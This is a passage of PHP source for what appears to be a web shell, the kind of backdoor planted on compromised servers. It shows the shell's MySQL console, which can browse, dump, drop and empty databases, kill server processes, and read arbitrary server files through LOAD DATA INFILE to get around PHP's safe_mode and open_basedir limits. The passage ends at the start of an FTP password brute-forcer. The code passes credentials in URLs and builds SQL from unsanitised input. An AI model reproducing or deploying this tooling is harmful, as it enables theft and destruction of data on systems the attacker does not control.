      ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."x=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade>
      <?php
      $result = mysql_list_tables($sql_db);
      if (!$result) {echo mysql_smarterror();}
      else {
        echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>";
        $c = 0;
        while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>+&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;}
        if (!$c) {echo "No tables found in database.";}
      }
    }
    else {
      ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade>
      <?php
      $result = mysql_list_dbs($sql_sock);
      if (!$result) {echo mysql_smarterror();}
      else {
        ?><form action="<?php echo $surl; ?>"><input type="hidden" name="x" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db">
        <?php
        $c = 0;
        $dbs = "";
        while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;}
        echo "<option value=\"\">Databases (".$c.")</option>";
        echo $dbs;
      }
      ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form>
      <?php
    }
    echo "</td><td width=\"100%\">";
    $diplay = TRUE;
    if ($sql_db) {
      if (!is_numeric($c)) {$c = 0;}
      if ($c == 0) {$c = "no";}
      echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>";
      if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}}
      echo "</b></center>";
      $acts = array("","dump");
      if ($sql_x == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
      elseif ($sql_x == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` 
";} $sql_x = "query";}
      elseif ($sql_x == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_x = "dump";}
      elseif ($sql_x == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
      elseif ($sql_x == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
      elseif ($sql_x == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
      elseif ($sql_x == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "
`".$v."` ,";} $sql_query = substr($sql_query,0,-1).";"; $sql_x = "query";}
      elseif ($sql_x == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;
";} $sql_query = substr($sql_query,0,-1);} $sql_x = "query";}
      elseif ($sql_tbl_x == "insert") {
        if ($sql_tbl_insert_radio == 1) {
          $keys = "";
          $akeys = array_keys($sql_tbl_insert);
          foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";}
          if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);}
          $values = "";
          $i = 0;
          foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;}
          if (!empty($values)) {$values = substr($values,0,strlen($values)-2);}
          $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );";
          $sql_x = "query";
          $sql_tbl_x = "browse";
        }
        elseif ($sql_tbl_insert_radio == 2) {
          $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs);
          $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;";
          $result = mysql_query($sql_query) or print(mysql_smarterror());
          $result = mysql_fetch_array($result, MYSQL_ASSOC);
          $sql_x = "query";
          $sql_tbl_x = "browse";
        }
      }
      if ($sql_x == "query") {
        echo "<hr size=\"1\" noshade>";
        if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
        if ($sql_query_result or (!$sql_confirm)) {$sql_x = $sql_goto;}
        if ((!$submit) or ($sql_x)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_x\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\"> <input type=\"submit\" value=\"No\"></form></td></tr></table>";}
      }
      if (in_array($sql_x,$acts)) {
        ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b>
        <form action="<?php echo $surl; ?>">
        <input type="hidden" name="x" value="sql">
        <input type="hidden" name="sql_x" value="newtbl">
        <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
        <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
        <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
        <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>">
        <input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>">
        <input type="text" name="sql_newtbl" size="20">
        <input type="submit" value="Create">
        </form></td>
        <td width="30%" height="1"><b>Dump DB:</b>
        <form action="<?php echo $surl; ?>">
        <input type="hidden" name="x" value="sql">
        <input type="hidden" name="sql_x" value="dump">
        <input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>">
        <input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>">
        <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>">
        <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"><input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table>
        <?php
        if (!empty($sql_x)) {echo "<hr size=\"1\" noshade>";}
        if ($sql_x == "newtbl") {
          echo "<b>";
          if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {
            echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";
          }
          else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
        }
        elseif ($sql_x == "dump") {
          if (empty($submit)) {
            $diplay = FALSE;
            echo "<form method=\"GET\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_x\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>";
            echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
            $v = join (";",$dmptbls);
            echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
            if ($dump_file) {$tmp = $dump_file;}
            else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
            echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
            echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
            echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
            echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
            echo "</form>";
          }
          else {
            $diplay = TRUE;
            $set = array();
            $set["sock"] = $sql_sock;
            $set["db"] = $sql_db;
            $dump_out = "download";
            $set["print"] = 0;
            $set["nl2br"] = 0;
            $set[""] = 0;
            $set["file"] = $dump_file;
            $set["add_drop"] = TRUE;
            $set["onlytabs"] = array();
            if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
            $ret = mysql_dump($set);
            if ($sql_dump_download) {
              @ob_clean();
              header("Content-type: application/octet-stream");
              header("Content-length: ".strlen($ret));
              header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
              echo $ret;
              exit;
            }
            elseif ($sql_dump_savetofile) {
              $fp = fopen($sql_dump_file,"w");
              if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
              else {
                fwrite($fp,$ret);
                fclose($fp);
                echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
              }
            }
            else {echo "<b>Dump: nothing to do!</b>";}
          }
        }
        if ($diplay) {
    if (!empty($sql_tbl)) {
      if (empty($sql_tbl_x)) {$sql_tbl_x = "browse";}
      $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
      $count_row = mysql_fetch_array($count);
      mysql_free_result($count);
      $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
      $tbl_struct_fields = array();
      while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
      if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
      if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
      if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
      if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
      $perpage = $sql_tbl_le - $sql_tbl_ls;
      if (!is_numeric($perpage)) {$perpage = 10;}
      $numpages = $count_row[0]/$perpage;
      $e = explode(" ",$sql_order);
      if (count($e) == 2) {
        if ($e[0] == "d") {$asc_desc = "DESC";}
        else {$asc_desc = "ASC";}
        $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
      }
      else {$v = "";}
      $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
      $result = mysql_query($query) or print(mysql_smarterror());
      echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=structure\">[<b> Structure </b>]</a>&nbsp;&nbsp;&nbsp;";
      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=browse\">[<b> Browse </b>]</a>&nbsp;&nbsp;&nbsp;";
      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_x=tbldump&thistbl=1\">[<b> Dump </b>]</a>&nbsp;&nbsp;&nbsp;";
      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_x=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
      if ($sql_tbl_x == "structure") {echo "<br><br><b>Coming sooon!</b>";}
      if ($sql_tbl_x == "insert") {
        if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
        if (!empty($sql_tbl_insert_radio)) {  } //Not Ready
        else {
          echo "<br><br><b>Inserting row into table:</b><br>";
          if (!empty($sql_tbl_insert_q)) {
            $sql_query = "SELECT * FROM `".$sql_tbl."`";
            $sql_query .= " WHERE".$sql_tbl_insert_q;
            $sql_query .= " LIMIT 1;";
            $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
            $values = mysql_fetch_assoc($result);
            mysql_free_result($result);
          }
          else {$values = array();}
          echo "<form method=\"POST\"><table width=\"1%\" border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
          foreach ($tbl_struct_fields as $field) {
            $name = $field["Field"];
            if (empty($sql_tbl_insert_q)) {$v = "";}
            echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
            $i++;
          }
          echo "</table><br>";
          echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
          if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
          echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
        }
      }
      if ($sql_tbl_x == "browse") {
        $sql_tbl_ls = abs($sql_tbl_ls);
        $sql_tbl_le = abs($sql_tbl_le);
        echo "<hr size=\"1\" noshade>";
        echo "<img src=\"".$surl."x=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";
        $b = 0;
        for($i=0;$i<$numpages;$i++) {
          if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
          echo $i;
          if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
          if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
          else {echo "&nbsp;";}
        }
        if ($i == 0) {echo "empty";}
        echo "<form method=\"GET\"><input type=\"hidden\" name=\"x\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
        echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>";
        echo "<tr>";
        echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
        for ($i=0;$i<mysql_num_fields($result);$i++) {
          $v = mysql_field_name($result,$i);
          if ($e[0] == "a") {$s = "d"; $m = "asc";}
          else {$s = "a"; $m = "desc";}
          echo "<td>";
          if (empty($e[0])) {$e[0] = "a";}
          if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
          else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."x=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
          echo "</td>";
        }
      echo "<td><font color=\"green\"><b>Action</b></font></td>";
      echo "</tr>";
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {
       echo "<tr>";
       $w = "";
       $i = 0;
       foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
       if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
       echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
       $i = 0;
       foreach ($row as $k=>$v)
       {
        $v = htmlspecialchars($v);
        if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
        echo "<td>".$v."</td>";
        $i++;
       }
       echo "<td>";
       echo "<a href=\"".$sql_surl."sql_x=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."x=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
       echo "<a href=\"".$sql_surl."sql_tbl_x=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."x=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
       echo "</td>";
       echo "</tr>";
      }
      mysql_free_result($result);
      echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."x=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_x\">";
      echo "<option value=\"\">With selected:</option>";
      echo "<option value=\"deleterow\">Delete</option>";
      echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
     }
    }
    else {
     $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
     if (!$result) {echo mysql_smarterror();}
     else
     {
      echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
      $i = 0;
      $tsize = $trows = 0;
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
      {
       $tsize += $row["Data_length"];
       $trows += $row["Rows"];
       $size = view_size($row["Data_length"]);
       echo "<tr>";
       echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
       echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
       echo "<td>".$row["Rows"]."</td>";
       echo "<td>".$row["Type"]."</td>";
       echo "<td>".$row["Create_time"]."</td>";
       echo "<td>".$row["Update_time"]."</td>";
       echo "<td>".$size."</td>";
       echo "<td>&nbsp;<a href=\"".$sql_surl."sql_x=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."x=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_x=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."x=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_x=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."x=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
       echo "</tr>";
       $i++;
      }
      echo "<tr bgcolor=\"000000\">";
      echo "<td><center><b>+</b></center></td>";
      echo "<td><center><b>".$i." table(s)</b></center></td>";
      echo "<td><b>".$trows."</b></td>";
      echo "<td>".$row[1]."</td>";
      echo "<td>".$row[10]."</td>";
      echo "<td>".$row[11]."</td>";
      echo "<td><b>".view_size($tsize)."</b></td>";
      echo "<td></td>";
      echo "</tr>";
      echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."x=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_x\">";
      echo "<option value=\"\">With selected:</option>";
      echo "<option value=\"tbldrop\">Drop</option>";
      echo "<option value=\"tblempty\">Empty</option>";
      echo "<option value=\"tbldump\">Dump</option>";
      echo "<option value=\"tblcheck\">Check table</option>";
      echo "<option value=\"tbloptimize\">Optimize table</option>";
      echo "<option value=\"tblrepair\">Repair table</option>";
      echo "<option value=\"tblanalyze\">Analyze table</option>";
      echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
      mysql_free_result($result);
     }
    }
   }
   }
  }
  else {
   $acts = array("","newdb","serverstatus","servervars","processes","getfile");
   if (in_array($sql_x,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="x" value="sql"><input type="hidden" name="sql_x" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="x" value="sql"><input type="hidden" name="sql_x" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
   if (!empty($sql_x)) {
    echo "<hr size=\"1\" noshade>";
    if ($sql_x == "newdb") {
     echo "<b>";
     if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
     else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
    }
    if ($sql_x == "serverstatus") {
     $result = mysql_query("SHOW STATUS", $sql_sock);
     echo "<center><b>Server-status variables:</b><br><br>";
     echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
     echo "</table></center>";
     mysql_free_result($result);
    }
    if ($sql_x == "servervars") {
     $result = mysql_query("SHOW VARIABLES", $sql_sock);
     echo "<center><b>Server variables:</b><br><br>";
     echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
     echo "</table>";
     mysql_free_result($result);
    }
    if ($sql_x == "processes") {
     if (!empty($kill)) {
       $query = "KILL ".$kill.";";
       $result = mysql_query($query, $sql_sock);
       echo "<b>Process #".$kill." was killed.</b>";
     }
     $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
     echo "<center><b>Processes:</b><br><br>";
     echo "<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_x=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
     echo "</table>";
     mysql_free_result($result);
    }
    if ($sql_x == "getfile")
    {
     $tmpdb = $sql_login."_tmpdb";
     $select = mysql_select_db($tmpdb);
     if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
     if ($select)
     {
      $created = FALSE;
      mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
      mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
      $result = mysql_query("SELECT * FROM tmp_file;");
      if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
      else
      {
       for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
       $f = "";
       while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("
",$row);}
       if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
       else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
       mysql_free_result($result);
       mysql_query("DROP TABLE tmp_file;");
      }
     }
     mysql_drop_db($tmpdb); 
    }
   }
  }
}
echo "</td></tr></table>";
if ($sql_sock) {
  $affected = @mysql_affected_rows($sql_sock);
  if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
  echo "<tr><td><center><b>Affected rows : ".$affected."</center></td></tr>";
}
echo "</table>";
}
if ($x == "ftpquickbrute") {
echo "<center><table><tr><td class=barheader colspan=2>";
echo ".: Ftp Quick Brute :.</td></tr>";
echo "<tr><td>";
if ($win) {echo "Couldn't run on Windows!";}
else {
  function caftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) {
    if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
    else {$TRUE = TRUE;}
    if ($TRUE) {
